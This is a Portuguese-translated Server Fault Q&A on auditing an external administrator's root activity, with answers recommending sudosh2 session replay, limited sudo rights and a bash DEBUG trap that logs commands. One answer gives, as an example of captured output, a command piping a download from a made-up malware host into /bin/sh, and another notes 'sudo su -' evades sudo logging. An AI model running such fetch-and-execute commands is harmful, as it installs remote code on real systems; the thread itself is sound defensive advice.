Registre todos os comandos executados a partir do root

16

Quero dar acesso ao meu servidor raiz a um administrador de sistema externo, mas quero ter certeza de verificar o que ele está fazendo no meu servidor, por exemplo, copiar dados que não quero que eles façam e assim por diante. Também gostaria de acompanhar qualquer arquivo acessado, mesmo em somente leitura e não editado.

Como eu posso fazer isso?

cedivad
fonte
11
Consulte esta pergunta relacionada: serverfault.com/questions/181131/… ?
Stefan Lasiewski

Respostas:

21

Confie mas verifique!

Confira sudosh2 . O sudosh2 é fornecido pelas portas do FreeBSD. Pacotes estão disponíveis para RedHat e Ubuntu. Aqui está a descrição do site:

sudosh é um filtro de shell de auditoria e pode ser usado como um shell de login. O Sudosh registra todas as teclas e saídas e pode reproduzir a sessão como um videocassete.

O Sudosh permitirá que você reproduza a sessão do usuário, o que permitirá ver todas as entradas e saídas conforme o usuário a viu. Você vê tudo, pressionamentos de teclas, erros de digitação, backspaces, o que eles editaram vi, a saída de wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/shetc.

É possível enviar logs do sudosh para o syslog, para que eles possam ser armazenados em um servidor syslog central, longe do sistema.

Observe que sudosh2 é um substituto para o sudosh, que foi abandonado por seu autor

Você trabalha em uma instituição acadêmica onde os usuários insistem em ter privilégios de superusuário? Ou você trabalha em uma empresa e deseja permitir que os usuários tenham privilégios de superusuário em suas próprias VMs? Esta pode ser a solução para você.

Stefan Lasiewski
fonte
11
Excelente - eu nunca tinha ouvido falar em sudosh.
EEAA
2
O que é esse 'VCR' de que você fala?
Tom Marthenal
2
É como uma faixa de 8 faixas, mas você pode gravar seus próprios programas de televisão!
Stefan Lasiewski
22

Não dê a ele acesso root. Em vez disso, forneça a ele uma conta de usuário sem privilégios e solicite que ele faça todo o seu trabalho sudo, o que registrará todos os seus comandos.

Tenha em mente que, se essa pessoa tem más intenções e você lhe dá privilégios sudo completos, ele vai encontrar uma maneira de realizar essas intenções doentes sem esses comandos sendo registrado. Nesse caso, conceda-lhe apenas acesso aos comandos específicos de que ele precisa para fazer seu trabalho.

EEAA
fonte
Eu quero dificultar o máximo possível sem tornar minha vida uma dor. Obrigado pela resposta.
cedivad
Você pode simplesmente executar sudo su -e ter um shell raiz que não será registrado (exceto que você o iniciou). É o que eu digito normalmente quando quero fazer mais do que um único comando como root de uma só vez, ou se quero o preenchimento de guias em diretórios que os usuários normais não conseguem ler.
Rjmunro
@rjmunro - Foi exatamente por isso que dei a ressalva de apenas dar a ele o acesso específico que ele precisa. Você pode proibir explicitamente, sudo su -se desejar.
EEAA
1

Não estou familiarizado com sudosh2, mas coloquei o seguinte no meu .bashrcpara registrar todos os comandos que digito em um bashshell no arquivo ~/.command_log:

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

O exemplo acima ativa uma interceptação DEBUG, que é executada antes de um comando comum ser executado. O callerbuilt-in é usado para testar se o comando está sendo digitado em um shell interativo ou executado através de algo parecido .bashrc. O valor ${BASH_COMMAND}contém o comando que está sendo executado no momento.

Richard Hansen
fonte